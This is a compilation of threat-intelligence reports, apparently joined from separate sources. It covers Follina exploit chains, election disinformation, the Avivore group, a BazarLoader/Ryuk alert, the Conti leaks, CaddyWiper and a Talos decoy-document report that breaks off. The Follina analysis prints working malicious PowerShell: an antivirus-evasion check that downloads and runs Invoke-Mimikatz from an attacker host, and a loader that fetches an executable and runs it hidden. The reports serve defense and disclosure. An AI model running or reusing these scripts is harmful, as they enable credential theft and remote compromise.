- Installing a Scheduled Task using the PowerShell commandlet `Enable-ScheduledTask` and the task name `MicrosoftEdgeUpdateTaskMaEnglishAPUAL`. This task runs every three weeks, on Monday at 10 am local time and downloads and executes an updated version of the above script from `hxxp://seller-notification.live/Zgfbe234dg`.
Oddly, despite this ‘red flag’ functionality, the above PowerShell script revealed 0/56 detections on VirusTotal. The updated version of the script, `Zgfbe234dg`, which contains the same features, also has 0/56 detections on VirusTotal. However, the `Zgfbe234dg` can download and execute an additional script, displayed below:
```powershell
$string_all = [system.String]::Join(" ", (Get-Process | Select-Object -Expandproperty ProcessName))
if([bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") -and ($string_all -notlike "*FortiTray*" -and
$string_all -notlike "*ntrtscan*" -and $string_all -notlike "*TMBMSRV*" -and $string_all -notlike "*AdAwareService*" -and $string_all -notlike
"*ccEvtMgr*" -and $string_all -notlike "*snac*" -and $string_all -notlike "*klnagent*" -and $string_all -notlike "*kavfswp*" -and $string_all -notlike
"*msseces*" -and $string_all -notlike "*MpCmdRun*" -and $string_all -notlike "*MSASCui*" -and $string_all -notlike "*ntrtscan*" -and $string_all
-notlike "*vba32lder*" -and $string_all -notlike "*MongoosaGU*" -and $string_all -notlike "*V3Svc*" -and $string_all -notlike "*SPHINX*" -and
$string_all -notlike "*PSafeSysTray*" -and $string_all -notlike "*NisSrv*"))
{
(echo " iex(New-Object Net.WebClient).DownloadString('https://seller-notification.live/JFhfdsfo1234vdv')"|powershell -) >>
($Global:filename_path + "\hash_123.txt")
}
```
This new script from `hxxp://seller-notification.live/JFhfdsfo1234vdv` is executed only if no processes in the above list are found running. This would appear to help evade antiviruses that detect the script. This new download stands out because the output (`hash_123.txt`) references hashes. In fact, the downloaded `JFhfdsfo1234vdv` is almost an exact match to the Invoke-Mimikatz script used to harvest credentials from memory. This script is simply obfuscated with concatenation of strings and the insertion of backtick characters. Using Invoke-Mimikatz, a threat actor can reflectively load the credential harvesting tool in memory and avoid writing to disk.
### Significance
This exploit chain highlights the ways in which a threat actor can capitalize on the Follina exploit to enhance their ability to “live off the land” in victim environments: making little to no use of compiled malware. By opening an avenue on vulnerable systems to use a native Windows component, MSDT, Follina gives malicious actors persistent access to vulnerable systems and their credentials.
In the above example, a threat actor that knew about a variety of common credential stores and security products that could detect credential extraction from memory illustrates how Follina can enable stealthy compromises and exfiltration from such environments.
### Exploit Chain 3: Unknown Backdoor
**HTML Stage**
The HTML file associated with this exploit chain is: `poc.html`
We discovered this file being hosted at both `http://65.20.75.158/poc.html` and `http://t1bet.net/poc.html`. The syntax within the JavaScript tags triggering the ms-msdt: protocol handler is the same. The Base64-encoded text decodes to the following PowerShell command:
```powershell
Try {
$wc=new-object system.net.webclient;
$wc.downloadfile("http://65.20.75.158/0524x86110.exe","$ENV:temp\wstmp.exe");
}
Catch {Exit(1);};
$cmd = "$ENV:temp\wstmp.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c rundll32.exe pcwutl.dll,LaunchApplication $cmd";
$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
```
The script downloads an executable to the %Temp% directory, naming it `wstmp.exe`, then executes the payload through the Program Compatibility Troubleshooter Helper `pcwutl.dll` and its exported function `LaunchApplication`. Pcwutl.dll is a legitimate Microsoft application used here to possibly evade standard antivirus detections.
**Payload**
The payload associated with this exploit chain is: `wstmp.exe`
This executable is compressed with the standard packer UPX. Once unpacked, `wstmp.exe` spawns a `rundll32.exe` process, with the following command line arguments:
```plaintext
"C:\Windows\system32\rundll32.exe" shell32.dll,Control_RunDLL
```
`Wstemp.exe` injects this new process with a shellcode buffer, so that `rundll32.exe` connects to the IP address `45.77.45.222` on port 110. The full functionality of this payload needs to be studied further, but the malware did not successfully connect, and the server is likely offline.
### Significance
This exploit chain included a unique payload execution method, which spawns and injects `rundll32.exe` for evasion. This payload could not be easily grouped into an existing malware family, and more analysis of this will be needed going forward.
## Indicators of Compromise
**Filesystem**
| SHA1 Hash | Description |
|-----------|-------------|
| 83fde764f70378b4b0610d87e86faac6dc5bc54b | Word Document |
| 6e9e90431e5e660071b683d121ad887d3726a4a0 | Embedded XML File |
| 7ed97610cdee3c69be2961543ce619485b680572 | HTML Page |
| 8ea0fea3e9787f270a9a23e3335b7b8e35475b06 | Cobalt Strike Loader |
| 8b095d4f5b1ef62b40507e6155a55214243f2c85 | RTF Document |
| 1c52a8bab1e5a107837c2d9abab1c73d571dc15d | RTF Document |
| b0b952334f0d0195b06faed532170263f7fad6c2 | HTML Page |
| da80a38090ef8cb52e91e639ea267c4f24bf3a21 | PowerShell Trojan |
| 64e5715d590c54a7c06baceef19e84ef672bc257 | PowerShell Trojan |
| 3c7674214e21cc4ec6a92555a1e6d1ad5c7ed36f | PowerShell (Invoke-Mimikatz) |
| 70dcbbcc20addef04eae7bf66c1545a935005c69 | HTML Page |
| 82b0beb6fff9a90dc40b300ebf1b0ec4977ba8ad | Unknown Backdoor |
**Network**
- `files.attend-doha-expo.com`
- `5.206.224.233`
- `www.telecomly.info`
- `seller-notification.live`
- `65.20.75.158`
- `t1bet.net`
- `tibetyouthcongress.com`
- `45.77.45.222:110`
**Scheduled Tasks**
- `MicrosoftEdgeUpdateTaskMaEnglishAPUAL`
- `Microsoft\Windows\Workplace Join\AptPackageIndexUpdate` (may be hidden from System32\Tasks and TaskCache in Registry, but visible using Get-ScheduledTask)
## Conclusions
The Follina exploit (CVE-2022-30190), though only recently discovered, is already being used in active attacks “in the wild.” The remote code execution flaw in a common Microsoft Windows component poses serious risks for organizations, which should immediately apply the patch issued by Microsoft to affected systems.
By analyzing three campaigns that rely on the Follina exploit, ReversingLabs was able to determine that Follina is being used to push payloads associated with persistent threat actors, including Cobalt Strike, Mimikatz, and custom malware. Because it leverages a commonly used module, Microsoft Support Diagnostic Tool (MSDT), Follina also advances attackers’ ability to operate within compromised environments while evading detection. For example, we observed Follina being used to launch another standard administrative tool, PowerShell, to effect lateral movement and data exfiltration within compromised environments. Sophisticated attack methods showed concerted efforts by the attackers to avoid detection.
Beyond patching systems that are vulnerable, security- and threat-hunting teams should familiarize themselves with the indicators of compromise (IOCs) above that are associated with the Follina malware and take steps to monitor for activity within your environment that may indicate malicious actors are attempting to leverage the Follina exploit against them. |
# Understanding Uncertainty while Undermining Democracy
Several US government agencies shared a warning on 22 September 2020 regarding foreign entities using disinformation to sow confusion and discord around the US 2020 election. While evaluating this alert, Thomas Rid highlighted two key passages:
The central thesis of the document and the two highlighted passages above is that underlying election integrity may be unaltered and safe, but communications about such activity may be modified, obscured, or perverted for malicious purposes. Many types of critical infrastructure attacks need not produce a substantial disruptive event; they only need to create a perception of unreliability or frailty to achieve significant impacts. The US government is clearly adopting this perspective and incorporating it into their risk framework for likely impacts to the 2020 elections.
Under this scenario, a likely attack could take the following route:
1. Anticipate a highly-contested, close election (which is almost certainly likely in the US).
2. Disrupt or interdict legitimate media communication surrounding election results as they are reported.
3. Leverage this disruption to push a variety of false or misleading narratives to sow doubt and confusion.
4. Once “regular” avenues of reporting are restored, sufficient doubt exists that election results are called into question by a noticeable portion of the population.
This may seem far-fetched, but as Mr. Rid pointed out in his book *Active Measures*, such a scenario has already manifested in Ukraine’s 2014 Presidential elections. In this scenario, election authorities were repeatedly disrupted, with attackers ultimately interdicting official election result announcements, which were subsequently amplified by Russian state media.
In this specific case, Ukrainian defenders were up to the task in defending networks and rapidly restoring operations. But the direction of this attack—disrupting not only election operations but election communications—highlighted fault lines that exist not only in Ukraine but in every modern democracy. Disrupting the actual machinery of modern elections—with its various systems, physical safeguards, and other checks—is quite hard, especially for a country as large and diverse as the United States, where there are essentially 50 separate authorities running national elections.
Instead of trying to modify results or impact individual precincts and districts piecemeal, a shortcut exists which CyberBerkut realized in 2014: target the transmission of results, rather than the results themselves. In hotly contested elections—such as Ukraine’s 2014 election or the US’s 2020 Presidential election—audiences will eagerly demand results on election night, logistics and practicalities be damned.
In the case of federal entities such as the US, the combination of distributed election authorities, tightly contested races, and the contingencies put into place due to COVID-19 creates a unique situation. The following criteria likely hold for US elections in 2020:
- Ballots will be cast in a variety of formats depending on jurisdiction due to the impact of COVID-19, almost certainly resulting in a substantial increase in mail-in and absentee ballots.
- Current law in nearly all jurisdictions prohibits counting mail-in and similar ballots before the actual federal election day.
- Assuming the contest between Donald Trump and Joe Biden (along with multiple legislative and other positions) is close, delayed ballot counting will play a substantial role in deciding the outcome of elections.
- A populace generally attuned to knowing election results at the close of election day will be uniquely susceptible to messaging around results (or manipulations thereof) given delays and other artifacts surrounding current circumstances.
Based on these observations, the 2020 US election is an ideal opportunity for malicious actors to attempt various strategies to sow discord and dissent—not through modification or manipulation of any election results, but rather through disinformation and messaging modification.
While such activity may not manifest itself as bluntly as CyberBerkut’s operations in Ukraine in 2014, the rough playbook from that event still holds. In this case, the electoral system in the US is already disrupted by events and the doubts generated by authorities (no less than the President himself) and various media outlets. All an attacker needs to do is ensure a false or misleading narrative is published and disseminated widely in conjunction with “legitimate” results to sow significant discord and discontent in the US process. Given the already fraught nature of the current US election cycle, a mere “nudge” towards chaos may produce outsized results.
The most alarming aspect of the above scenario is that there is almost nothing that can be done to counteract it at this time. The surest means to combat disinformation—an educated, questioning, and alert public—is something almost beyond recognition given that the US populace is still unsure whether or not wearing masks might be a worthwhile consideration to slow the spread of COVID-19. When such relatively basic items meet such resistance, trying to convince individuals or groups that the narrative most sympathetic to their existing worldview may be false seems a daunting if not outright impossible task.
Ultimately, malicious entities need not compromise voter databases or election systems to sway or disrupt the US political process. A sustained, coordinated media campaign usurping already-degraded mainstream channels could very well succeed in pushing narratives that a vocal minority of the US population will embrace, leading to significant post-election chaos. Given the state of matters within the US and its extreme polarization, there is probably almost nothing that can be done to mitigate against this threat short of shutting down the internet and muzzling the press.
Given the above, I am deeply concerned and honestly quite afraid of what November 2020 will bring as of this writing. The preconditions for slight “nudging” existing prejudices to foment outright chaos or conflict already exist. Adversaries are not stupid and have realized this. The open question at this time is not whether such adversaries will try to sow chaos in the US this year, but rather whether they understand US culture and divisions well enough to succeed in doing so. |
# New Threat Group Behind Airbus Cyber Attacks, Claim Researchers
Context Information Security’s threat intel and response teams say it has evidence that the recent supply chain attacks on Airbus are the work of a newly identified group called Avivore.
A number of high-profile cyber attacks on Airbus in the past 12 months, which exploited virtual private networks (VPNs) used by some of its supply chain partners to access the aerospace firm’s systems, is likely to have been the work of a previously unidentified threat group, according to Context Information Security’s researchers.
Dubbed Avivore, the group’s existence came to light during Context’s investigation of a number of attacks against multinational enterprises that compromise smaller engineering services and consultancies working in their supply chains.
In such supply chain attacks – also known as Island Hopping – the adversary uses legitimate connectivity or collaboration tools to bypass the target’s perimeters. These attacks will often see criminals using chains of activity or connections spanning multiple business and geographical locations in the victim environment.
The Avivore group, which has not been identified or tracked before, seems to have targeted assets related to a number of verticals besides aerospace and defence, including automotive, energy, and space and satellite technology.
“Previous reporting into recent incidents affecting aerospace and defence have linked this activity to APT10 and JSSD (Jiangsu Province Ministry of State Security). Though the nature of the activity makes attribution challenging, our experience of the campaign suggests a new group that we have codenamed Avivore,” said Oliver Fay, principal threat intelligence analyst at Context.
The group appears to operate in the UTC +8 timezone and exploits the PlugX remote access Trojan, which has been used extensively by APT10. However, its tactics, techniques and procedures (TTPs), infrastructure and other tooling is significantly different from known Chinese-state actors. It is this that has led Context to the conclusion that Avivore is a previously untracked nation state-level adversary.
According to Context, the group is a “highly capable” actor, skilled at living-off-the-land and obfuscating its activity in the day-to-day business activities of its victims’ employees. It also appears to have a high degree of operational security awareness – for example, it clears forensic artefacts as it progresses to make detection harder.
“The capability of the threat actor makes detecting these incidents challenging, however the complex nature of the supplier relationship makes investigation, co-operation and remediation a significant issue,” said James Allman-Talbot, head of cyber incident response at Context.
“When the organisation that has enabled the intrusion forms a critical part of your value chain, the operational business risk increases dramatically and difficult decisions need to be made in a short space of time.”
Context set out a number of recommendations for enterprises to consider adopting whether they are likely to be a target of a supply chain attack or not. These include imposing access limitations on supplier and partner connections using VPNs, such as preventing use outside business hours, agreeing specific locations and IP addresses for access, and imposing restrictions on access to data and other assets.
Other useful steps could include introducing multifactor authentication and enhancing auditing and logging at hosts and services into which suppliers connect. Steps should also be taken to ensure that remote access services implement appropriate log retention; to ensure that credentials for remote services are stored securely and their use monitored; and where possible, to make applications, documents and technical information relating to enterprise networks and remote access services available only to engineers and IT support staff. |
# Health Sector Cybersecurity Coordination Center (HC3) Sector Alert
**October 2, 2020**
**TLP: White**
**Report: 2020100216**
## RECENT BAZARLOADER USE IN RANSOMWARE CAMPAIGNS
### Executive Summary
On September 28, 2020, security researchers openly shared recent observations associated with RYUK ransomware deployments. This information comes following recent news reporting of a potential RYUK ransomware incident affecting a large US healthcare entity. Recent ransomware campaigns leveraged phishing followed by deployment of malware associated with TRICKBOT actors.
### Analysis
Security researchers suggest the RYUK ransomware has returned from a roughly four-month hiatus with threat activity observed the week of September 17, 2020. This recent threat activity leverages phishing to establish persistence with BAZARLOADER (AKA TEAM9) followed by the commercially available Cobalt Strike BEACON malware and ultimately the deployment of RYUK ransomware. In recent RYUK-related intrusions, time from phishing email to RYUK deployment was around three days.
The BAZARLOADER malware is a downloader that can establish persistence and execute additional payloads. The malware resolves its command and control (C2) servers using Emercoin DNS domains. According to BleepingComputer, the developers of the TRICKBOT are believed to be behind this backdoor due to code similarities, executable crypters, and its infrastructure.
The commercially-available Cobalt Strike BEACON malware is a backdoor commonly used for network penetration testing which supports several capabilities including injecting and executing arbitrary code, uploading and downloading files, and executing shell commands. Security researchers have recently identified active BEACON implants hosted on Amazon Web Services (AWS) and other infrastructure.
Finally, RYUK is a ransomware variant that uses a combination of public and symmetric-key cryptography to encrypt files on a host computer. The malware stops numerous services and kills a variety of processes that may interfere with the ransomware’s functionality including anti-virus, database, and backup software.
The U.S. Department of the Treasury recently published an advisory for facilitating ransomware payments to sanctioned groups with the possibility of facing civil penalties for sanctions violations. While the RYUK operators are not currently listed, sanctioned ransomware groups include the developers of Cryptolocker, Iranian actors connected to SamSam ransomware, three North Korean hacking groups, and the Evil Corp cybercrime group.
### Alert
HC3 is sending this alert related to recent RYUK ransomware campaigns. See below section titled “Patches, Mitigations & Workarounds” for associated Tactics, Techniques, and Procedures (TTPs) and Indicators of Compromise (IOCs) associated with BAZARLOADER, BEACON, and RYUK.
## Patches, Mitigations & Workarounds:
### Indicators of Compromise (IOCs) Associated with RYUK:
| Indicator Type | Indicator |
|----------------|-----------|
| FileHash-MD5 | c0202cf6aeab8437c638533d14563d35 |
| FileHash-MD5 | d348f536e214a47655af387408b4fca5 |
| FileHash-MD5 | 958c594909933d4c82e93c22850194aa |
| FileHash-MD5 | 86c314bc2dc37ba84f7364acd5108c2b |
| FileHash-MD5 | 29340643ca2e6677c19e1d3bf351d654 |
| FileHash-MD5 | cb0c1248d3899358a375888bb4e8f3fe |
| FileHash-MD5 | 1354ac0d5be0c8d03f4e3aba78d2223e |
| FileHash-MD5 | 5ac0f050f93f86e69026faea1fbb4450 |
| FileHash-MD5 | 32cbc69f85cc47d8e35dc20dfbda6948 |
| FileHash-MD5 | 7a7b1300e8b5a10424e08958a6fc15c1 |
| FileHash-MD5 | 40492c178079e65dfd5449bf899413b6 |
| FileHash-MD5 | dc83bab1982a5418b9ee448415317500 |
| FileHash-MD5 | 29f99f63c076a29db46ada694a2201d3 |
| FileHash-MD5 | 5ea06d5bffcf42780c1636cf9553d7eb |
### Indicators of Compromise (IOCs) Associated with Cobalt Strike BEACON:
| Indicator Type | Indicator |
|----------------|-----------|
| IPv4 | 35.201.229[.]47:6666/RPEv |
| IPv4 | 35.201.229[.]47:6666/wICZ |
| IPv4 | 119.45.191[.]253:8080 |
| URL | hxxp://ec2-18-222-171-22.us-east-2.compute.amazonaws[.]com/69wv |
### ATT&CK IDs Associated with BAZARLOADER:
- T1055 - Process Injection
- T1093 - Process Hollowing
- T1192 - Spearphishing Link
- T1186 - Process Doppelgänging
- T1116 - Code Signing
- T1204 - User Execution
- T1106 - Native API
- T1027 - Obfuscated Files or Information
### Indicators of Compromise (IOCs) Associated with BAZARLOADER:
| Indicator Type | Indicator |
|----------------|-----------|
| YARA | c238e928b89138125496c8fda96ac7d7868a4224 |
| URL | https://allacestech.com/PreviewReport.DOC.exe |
| URL | https://www.ruths-brownies.com/PreviewReport.DOC.exe |
| URL | http://www.afboxmarket.com/CompanyReportList.exe |
| URL | http://invent-uae.com/Document_Preview.exe |
| URL | https://51.81.113.26/api/v88 |
| URL | https://daralsaqi.com/PreviewReport.DOC.exe |
| FileHash-MD5 | cdddcbc43905f8a1a12de465a8b4c5e5 |
| FileHash-MD5 | 8f290a2eacfdcfea4f5ca054ae25bc62 |
| FileHash-MD5 | b533f8b604b2cc99ce938d8303994e43 |
| FileHash-MD5 | 0e9f7f512a7eae62c091c7f0e2157d85 |
| Indicator Type | Indicator |
|----------------|-----------|
| FileHash-MD5 | 267b23b206cde7086607e2c4471a97c4 |
| FileHash-MD5 | 0708c3b1c48d71148cfd750e70511820 |
| FileHash-MD5 | df3db8d75d6c433c4c063d17f22e9b21 |
| FileHash-MD5 | 3fe91dbbcf0962895f768da6e40853ee |
| FileHash-MD5 | 8b3215a899af33e3f6beb47a08787163 |
| FileHash-MD5 | 3078b0b4b1dc48d62019d6ccca9cf098 |
| FileHash-MD5 | e16a92cccc3700196337c9ad43210f38 |
| FileHash-MD5 | 9066f4c98967e27a1d32f01c47884785 |
| FileHash-MD5 | 07d1c4952795e804b87c7c9d536dc547 |
| FileHash-MD5 | c25965d25b5ccdc2f401188f27972c22 |
| Mutex | mn_185445 |
| Mutex | ld_201127 |
| domain | newgame.bazar |
| domain | thegame.bazar |
| domain | tallcareful.bazar |
| domain | realfish.bazar |
| domain | bestgame.bazar |
| domain | forgame.bazar |
| domain | portgame.bazar |
| domain | eventmoult.bazar |
| domain | coastdeny.bazar |
| domain | workrepair.bazar |
| FileHash-MD5 | 8aa10fc713d67d4ab34031a6f27024ba |
| FileHash-MD5 | 90a7b0c10eac98ff8d03823c19cd0add |
| FileHash-MD5 | dfcf5342f034605cda27d08ce3706d0f |
| FileHash-MD5 | b3b2333fa8195ad7003b6b3624ec7271 |
| FileHash-MD5 | a9952f532a7141910b2261394a52e6dc |
| FileHash-MD5 | a5d0f9c549834d475a5faf9bc12974d7 |
| FileHash-MD5 | db9052ec56eed900354f4379d576e1b5 |
| FileHash-MD5 | 2217d26aa15eec029c693c7ceedad0bf |
| FileHash-MD5 | fd18f895de2806d7bfe6fcbd189e4bb9 |
| domain | zirabuo.bazar |
| FileHash-MD5 | 8371ab023e4eb1f385926ad619d109b4 |
| FileHash-MD5 | c166858685bf0db063121601af5cf46e |
| FileHash-MD5 | 621ee1cc6f678123775d2dcf73250999 |
| FileHash-MD5 | 11ca39d3b268610560b9f7595075bac0 |
| FileHash-MD5 | 0677da0c04a2d64dcc1dcb80045a3d64 |
| FileHash-MD5 | 6c6a2bfa5846fab374b2b97e65095ec9 |
| FileHash-MD5 | b2ad62cb18486b86aae7d53236ef9ed6 |
| FileHash-MD5 | 3176c4a2755ae00f4fffe079608c7b25 |
| FileHash-MD5 | 6dade484de2d790f287f4f248177f9d0 |
| FileHash-MD5 | 7b5aa87ed32c53a8009fdfc738213d94 |
| Indicator Type | Indicator |
|----------------|-----------|
| FileHash-MD5 | ebb740d3759131a9914b9aea588a246d |
| FileHash-MD5 | fa743c66268dea043d8068a5c96b4c43 |
| FileHash-MD5 | 0374a343768b30771381a35ab7c0b854 |
| FileHash-MD5 | 309ecc2d7ccaef74e5231b1671b73a8e |
| FileHash-MD5 | fdf79b8921487469919bb95b940899e6 |
| FileHash-MD5 | c35cef0d8f236d510676004d41a7283f |
| FileHash-MD5 | 53329398c4a2a11a06016a9d45346216 |
| FileHash-MD5 | 41ba0038d1edc5f2e2c001af2807cb10 |
| FileHash-MD5 | 8aac391fe0aa02d7a8c3a5f34f35dd44 |
| FileHash-MD5 | c03f4ea15159222c609ededaddc57968 |
| FileHash-MD5 | a04c7e5f2c955caa18d90a4faee4f843 |
| FileHash-MD5 | a0ab22bc54244298d5928464fc7e62b1 |
| FileHash-MD5 | d40ea830655b4ed8264b238db1d7e0f4 |
| FileHash-MD5 | f990e4d13ae695e2f7a86c64919c53d7 |
| FileHash-MD5 | 37aa5690094cb6d638d0f13851be4246 |
| FileHash-MD5 | 9301564bdd572b0773f105287d8837c4 |
| FileHash-MD5 | 0796f1c1ea0a142fc1eb7109a44c86cb |
| FileHash-MD5 | 3a4e4c14e837abe7cd571759149f855b |
| FileHash-MD5 | 01440a3c0c44b76462a96d67626720fe |
### References
- https://twitter.com/fwosar/status/1309223351957815299
- https://twitter.com/anthomsec/status/1310608927239933954
- https://securityboulevard.com/2020/09/cobalt-strike-the-new-favorite-among-thieves/
- https://twitter.com/d4rksystem/status/1311682291530444800
- https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gangs-new-stealthy-network-hacking-malware/
- https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html
- https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/group-behind-trickbot-spreads-fileless-bazarbackdoor
- https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/
- https://home.treasury.gov/system/files/126/ofac_ransomware_advisory_10012020_1.pdf |
# Lessons from the Conti Leaks
If you wanted to learn how an organized cybercriminal operation worked, look no further than the threat group known as Conti. The recent leaks of the group's chat logs have uncovered an unprecedented wealth of information and insights into how these veteran cybercriminals organize themselves.
Cyber Threat Intelligence (CTI) vendors and independent researchers have spent weeks poring over the Conti leaked chat logs and have uncovered dozens of very significant findings. In this blog, I wanted to share some of the findings that I thought were the most interesting.
## Reconnaissance
One major discovery in the Conti leaks is the existence of an "OSINT Team" who gathers details on Conti's targets. This team uses multiple techniques, as well as commercial tools, to find every piece of information about a target that will support the end goal of domain-wide Conti ransomware deployment. This OSINT Team may also engage with the targets (HUMINT), posing as marketing or sales people, gathering details and information about managers, executives, and how the company operates for exploitation later.
## Phishing
It is well-documented that Conti ransomware attacks often begin via a phishing email. The group has been launching widespread and targeted phishing campaigns for years using a multitude of tactics. The Conti Leaks also shared some insights into how these phishing campaigns are orchestrated.
## Malware
The Conti Leaks revealed details on how a persistent cybercriminal operation develops its malware campaigns. The group works to test and develop its payloads against common detection systems used by its targets, such as ESET and Windows Defender.
## Command and Control (C2)
Like any malware group, Conti needs server and hosting infrastructure to be able to launch its campaigns. This includes payload staging servers, proxy servers, C2 domains, Virtual Private Servers (VPS), and remote storage for exfiltrated data.
## Tradecraft, Exploits, and 0days
What sets Conti apart from the rest of their peers in the cybercrime ecosystem is that members of this ransomware group are innovators and quick to leverage newly disclosed techniques. The Conti Leaks revealed multiple techniques used by Conti that had not been previously discussed publicly online.
## A Cybercrime Empire
Researchers have stated that they believe Conti has up to 150+ members worldwide. If we do the math, each member is allegedly getting paid on average $2,000 per month, which equals around roughly $300,000 per month in Conti "employee" salaries and roughly $3,600,000 per year. This is a LOT for a cybercrime group. With this amount of purchasing power, it is only natural Conti leadership began to wonder about acquisitions and starting their own forums, carding shops, and even cryptocurrency platforms.
Researchers shared screenshots of all the links pasted into the Conti chats. One stood out: a logo with "McDuckGroup" and Scrooge McDuck. This was the logo for a carding market currently under development.
## Ransomware
A number of other ransomware groups are mentioned in the Conti Leaks. Trellix researchers highlighted how representatives of NetWalker, MAZE, and LockBit all have a presence in the Conti chat server. Ryuk, Diavol, REvil, AvosLocker, BlackMatter, and Crylock ransomware families are also mentioned in the Conti Leaks.
## Closing Comments
The Conti Leaks have provided cybercrime researchers an unparalleled look into how Russian-speaking organized hacking groups operate. The leaks also supplement the Conti Playbook that was leaked by a disgruntled member in August 2021. As a community of cybersecurity researchers, we now know more about the Conti ransomware group than any other threat group in history.
For the Conti group itself, however, it appears to be business as usual (BAU). Less than one week after the Conti chats were leaked, new victims were uploaded to the ContiNews darknet site.
Conti has seemingly recovered from the leaks and might be at the 'too big to fail' stage of operations. The Russian state is clearly fully aware of Conti's operations and allows them to operate with impunity. Researchers at Trellix highlighted the group's connections to the Russian state and how the intelligence services also benefit from Conti's coveted network access to high-profile organizations around the world.
Lastly, I hope you enjoyed the blog. There are still likely some secrets yet to be revealed in the Conti Leaks. I appreciate the help and resources shared by researchers online. |
# CaddyWiper Analysis
## New Analysis: The CaddyWiper Malware Attacking Ukraine
Posted by Michael Dereviashkin on April 5, 2022
As Russia’s invasion of Ukraine continues, new wiper malware has surfaced attacking Ukrainian infrastructure. CaddyWiper was first detected on March 14, 2022. It destroys user data, partitions information from attached drives, and has been spotted on several dozen systems in a limited number of organizations. CaddyWiper has been deployed via GPO, suggesting the attackers had initially compromised the target's Active Directory server. Morphisec Labs’ CaddyWiper analysis follows.
CaddyWiper is the fourth wiper observed attacking Ukrainian targets. WhisperGate was the first wiper, used in attacks on Ukrainian government agencies ahead of the invasion. WhisperGate was soon followed by HermeticWiper and IsaacWiper, with CaddyWiper the third wiper deployed in as many weeks.
## Technical Analysis
### Main Functionality
If the computer that CaddyWiper was executed on is not a domain controller (DC), the machine won’t be harmed. If it is a PDC, Caddy starts wiping at “C:\\Users” in order not to break the operating system before the wiping process completes. It then deletes every drive letter from “D:\\” drive to “Z:\\”. If Caddy was run with administrator privileges, it also deletes the partition of the physical hard drives to absolutely wreck the operating system.
### Dynamic API Loading
Caddy uses the process environment block (PEB) to resolve the required Windows application programming interface (API). This is to evade static and dynamic scanners. As part of reputation scoring, scanners validate for an executable import directory, and dynamic monitoring is based on imported API hooking. Caddy officially declares only on the DsRoleGetPrimaryDomainInformation API as part of its import address table (IAT) while the rest is resolved dynamically via the PEB.
### File Wiping
The function `wipepath` is responsible for the actual wiping process of a file. This function can handle hidden and system files while additionally acquiring discretionary access control to the file in path. This is to ensure as many files as possible are wiped. It wipes a maximum of a 10MB chunk from the beginning of the file as part of performance optimization.
### Discretionary Access Control
The wiper changes the DACL of a file object by taking ownership of that object. This only succeeds if whoever starts the Caddy process has WRITE_DAC access to the object or is the owner of the object. If the initial attempt to change the DACL fails, the code enables the privilege of ‘SeTakeOwnershipPrivilege.’ It then makes the local system's administrators group the owner of the object. The code used in Caddy is similar to the example that MSDN provides.
### Partition Wiping
The IOCTL (‘IOCTL_DISK_SET_DRIVE_LAYOUT_EX’) passed in DeviceIoControl is generally used for disk repartition according to the specified drive layout and partition information data. However, in our case, it just wipes 0x780 bytes from the physical drive while it iterates from “\\\\.\\PHYSICALDRIVE9” and goes until “\\\\.\\PHYSICALDRIVE0”. However, it can only be done if Caddy is executed with administrator privileges.
## The Impact
CaddyWiper can be executed with or without administrator privilege. In both cases, it causes lethal damage to the target machine. CaddyWiper execution without administrator privileges makes files worthless, and when CaddyWiper starts with administrator privileges, it makes the operating system useless as well.
Caddy is a sophisticated wiper that can transform any machine it’s deployed against into a very expensive door stopper. Unfortunately, traditional endpoint security solutions have a hard time preventing sophisticated attacks such as CaddyWiper. Due to its evasive, polymorphic nature, CaddyWiper hides its functionality from runtime monitoring and pattern matching. Though the impact is visible, response time is irrelevant when it gets to wipers or ransomware.
Reactive and static antivirus (AV) and endpoint detection and response (EDR) solutions need augmentation to prevent APTs and lower the risk of breaches, lawsuits, fines, and brand damage. Morphisec provides this additional defense layer and virtual patching with Moving Target Defense (MTD) technology. MTD creates a dynamic attack surface threat actors can’t penetrate, causing them to abort attacks.
## Indicators of Compromise (IOCs)
- a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea
- 1e87e9b5ee7597bdce796490f3ee09211df48ba1d11f6e2f5b255f05cc0ba176
- ea6a416b320f32261da8dafcf2faf088924f99a3a84f7b43b964637ea87aef72
- F1e8844dbfc812d39f369e7670545a29efef6764d673038b1c3edd11561d6902
- B66b179eac03afafdc69f62c207819eceecfbf994c9efa464fda0d2ba44fe2d7
- 9d83817f7cae01554f77680ed7e6698966bcf020915c0dc411e5d57f6eea6ed4
- 5cc51f29c6074d9741d6e68bcf9ce8363d623437ea11506a36791b4763cefdc7 |
# Cyber Conflict Decoy Document Used In Real Cyber Conflict
This post was authored by Warren Mercer, Paul Rascagneres, and Vitor Ventura.
Update 10/23: CCDCOE released a statement today on their website.
## Introduction
Cisco Talos discovered a new malicious campaign from the well-known actor Group 74 (aka Tsar Team, Sofacy, APT28, Fancy Bear…). Ironically, the decoy document is a deceptive flyer relating to the Cyber Conflict U.S. conference. CyCon US is a collaborative effort between the Army Cyber Institute at the United States Military Academy and the NATO Cooperative Cyber Defence Centre of Excellence. Due to the nature of this document, we assume that this campaign targets people with an interest in cybersecurity. Unlike previous campaigns from this actor, the flyer does not contain an Office exploit or a 0-day; it simply contains a malicious Visual Basic for Applications (VBA) macro.
The VBA drops and executes a new variant of Seduploader. This reconnaissance malware has been used by Group 74 for years and it is composed of two files: a dropper and a payload. The dropper and the payload are quite similar to the previous versions, but the author modified some public information such as MUTEX name and obfuscation keys. We assume that these modifications were performed to avoid detection based on public IOCs.
The article describes the malicious document and the Seduploader reconnaissance malware, especially the difference with the previous versions.
## Malicious Office Document
### Decoy Document
The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the filename `Conference_on_Cyber_Conflict.doc`. It contains two pages with the logo of the organizer and the sponsors. Due to the nature of the document, we assume that the targeted people are linked to or interested in the cybersecurity landscape. The exact content of the document can be found online on the conference website. The attackers probably copy/pasted it into Word to create the malicious document.
### VBA
The Office document contains a VBA script. Here is the code:
